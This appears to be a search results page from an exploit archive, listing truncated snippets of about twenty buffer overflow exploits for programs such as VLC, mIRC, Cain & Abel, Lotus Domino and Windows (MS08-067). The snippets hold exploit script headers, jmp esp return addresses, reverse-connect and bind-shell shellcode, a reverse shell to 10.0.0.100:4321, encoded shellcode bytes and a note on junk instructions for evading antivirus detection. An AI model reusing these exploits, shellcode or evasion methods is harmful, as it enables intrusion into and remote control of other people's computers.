251 matches found
Cain & Abel 4.9.23 - '.rdp' Local Buffer Overflow
exploit.py print "" print " !R4Q!4N H4CK3R" print "Cain & Abel 4.9.23 rdp file Buffer overflow Exploit" print "By:Encrypt3d.M!nd" print "encrypt3d.blogspot.com" print "" print "Greetz:-=Mizo=-,L!0N,El Mariachi,MiNi SpIder..and all my friends" print "This is exploit for my PoC" print "Tested...
vlcrt-overflow.txt
!/usr/bin/perl VLC Media Player This should work on a fully up-to-date Windows XP SP3. If you want it to work on your OS version, just find a "jmp esp" address in one of the dlls loaded with VLC :. Have fun. Remember that VLC will open the file .rt automatically with a video of the same name...
VideoLAN VLC Media Player < 0.9.6 - '.rt' Local Stack Buffer Overflow
!/usr/bin/perl VLC Media Player This should work on a fully up-to-date Windows XP SP3. If you want it to work on your OS version, just find a "jmp esp" address in one of the dlls loaded with VLC :. Have fun. Remember that VLC will open the file .rt automatically with a video of the same name...
MS08-067 Remote Stack Overflow Vulnerability Exploit
No description provided by source. include "stdafx.h" include winsock2.h include Rpc.h include stdio.h include stdlib.h pragma commentlib, "mpr" pragma commentlib, "Rpcrt4" pragma commentlib, "ws232" struct RPCBIND BYTE VerMaj; BYTE VerMin; BYTE PacketType; BYTE PacketFlags; DWORD DataRep; WORD...
Count.cgi(wwwcount)远程缓冲区溢出漏洞
BugCVE: CVE-1999-0021 BUGTRAQ: 128 Count.cgi wwwcount是一个非常流行的Web站点跟踪统计CGI程序。一般它作为Web页面点击数统计。1997年10月，这个程序被发现了两个远程漏洞。第一个漏洞比较轻微，它能允许远程用户浏览到受限制的.GIF文件，可能泄漏.GIF文件里潜在的敏感数据。 第二个漏洞比较严重，count.cgi程序在处理QUERYSTRING环境变量的时候存在缓冲区溢出漏洞。远程攻击者可以发送一个超长的请求给程序就能进行溢出攻击，以Web用户的权限在系统执行任意命令。 2.3 Muhammad A. Muquit...
A stack overflow attack and the anti-vulnerability warning-the black bar safety net
Overflow is the security of the network is often a contact to a problem, once there is some kind of overflow vulnerability, the network of thousands of computers will become a Hacker brothers and sisters on the chopping block of meat. Then the overflow in the end is what? This attack method...
mIRC 6.34 - Remote Buffer Overflow
!/usr/bin/perl mIRC 6.34 Remote Buffer Overflow Exploit Exploit by SkD skdrat hotmail com ---------------------------------------- A day's work of debugging and looking at mIRC. Tested on Windows XP SP3 English and Windows Vista SP0. Credits to securfrog for publishing the PoC. Author has no...
freebsd/x86 rev connect, recv, jmp, return results 90 bytes
No description provided by source. / ; sm4x - 2008 ; reverse connect dlshellcode and execute, exit ; - i've used this to feed pwnd progs huge messy shellcode ret'ing the results over nc ; ; - feed it with a $nc -vvl -p8000 shellcodeinfile ; setuid0; socket; connect; dups; recv; jmp; exit; ; 90...
freebsd/x86 rev connect, recv, jmp, return results 90 bytes
freebsd/x86 rev connect, recv, jmp, return results 90 bytes. Shellcode exploit for freebsdx86 platform / ; sm4x - 2008 ; reverse connect dlshellcode and execute, exit ; - i've used this to feed pwnd progs huge messy shellcode ret'ing the results over nc ; ; - feed it with a $nc -vvl -p8000 pls ex...
freebsd/x86 rev connect recv jmp return results 90 bytes
No description provided by source. / ; sm4x - 2008 ; reverse connect dlshellcode and execute, exit ; - i've used this to feed pwnd progs huge messy shellcode ret'ing the results over nc ; ; - feed it with a $nc -vvl -p8000 shellcodeinfile ; setuid0; socket; connect; dups; recv; jmp; exit; ; 90...
Acoustica Beatcraft 1.02 Build 19 - '.bcproj' Local Buffer Overflow
!/usr/bin/perl Acoustica Beatcraft bcproj file Local BOF Exploit Author: Koshi Date: 08-30-08 0day Application: Acoustica Beatcraft Versions: v1.02 Build 19 Site: http://acoustica.com/beatcraft/index.htm Tested On: Windows XP SP3 Fully Patched Acoustica Beatcraft contains a buffer prone to...
Any combination of instructions to achieve free kill-vulnerability warning-the black bar safety net
Note:writing flower instructions,refer to the following pairs of instructions,can be arbitrary free combination. Free to killeffect. push ebp pop ebp push eax pop eax push esp pop esp push 0 push 0 push 1 0 -------which numbers can be arbitrary,note the following correspondence push -10...
MS Jet Database (msjet40.dll) Reverse Shell Exploit
No description provided by source. See-security Technologies ltd. http://www.see-security.com Microsoft Jet msjet40.dll Reverse Shell Exploit coded by Tal zeltzer Based on the exploit written by S.Pearson import sys import struct Addresses are compatible with Windows XP Service Pack 1 ReturnAddre...
dap-overflow.txt
!/usr/bin/python Download Accelerator Plus - DAP 8.x m3u 0day Local Buffer Overflow Exploit Bug discovered by Krystian Kloskowski h07 Tested on: Download Accelerator Plus 8.6 / XP SP2 Polish Shellcode: Windows Execute Command calc Just for fun ; from struct import pack shellcode =...
Kantaris 0.3.4 SSA Subtitle Local Buffer Overflow Exploit
No description provided by source. !/usr/bin/python Kantaris 0.3.4 Media Player Local Buffer Overflow 0day! The following exploit will make a film.ssa file, just rename the file with the name of your movie, and use your imagination to pwn! : Shellcode is local bind shell, just telnet to port:4444...
IBM Lotus Domino 7.0.2FP1 IMAP4 Server LSUB Command Exploit
Exploit for unknown platform in category remote exploits =========================================================== IBM Lotus Domino 7.0.2FP1 IMAP4 Server LSUB Command Exploit =========================================================== !perl "IBM Lotus Domino" IMAP4 Server 'LSUB' Command Exploit...
fsfdt-overflow.txt
$ nc -l -p 4321 Microsoft Windows 2000 Version 5.00.2195 C Copyright 1985-2000 Microsoft Corp. E:\draft\fsd1110\windows ------------------------------------------- !/usr/bin/perl FSFDT remote exploit by weakatfraglab.at spawns reverse shell to 10.0.0.100:4321 tested against 'FSFDT Windows FSD Bet...
Virtual DJ 5.0 (m3u File) Local Buffer OverFlow Exploit
Exploit for unknown platform in category local exploits ======================================================= Virtual DJ 5.0 m3u File Local Buffer OverFlow Exploit ======================================================= Virtual DJ 5.0 Local Buffer OverFlow 224 bytes available for shellcode,, yo...
Virtual DJ 5.0 - '.m3u' Local Buffer Overflow
Virtual DJ 5.0 Local Buffer OverFlow 224 bytes available for shellcode,, you can replace it with you favourite one,, ret addr - 0x7199403D jmp esp in mswsock.dll Winxp sp0 exploit : A x 484 +EIP - jmp esp - 4 + Nops -10 + Shellcode -224 Discovred by 0x58 && Coded By miyy3t,,Midt's lab !! Greetz :...
postcast-overflow.txt
'open calc.exe scode = unescape"%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49" & unescape"%49%51%5a%56%54%58%36%33%30%56%...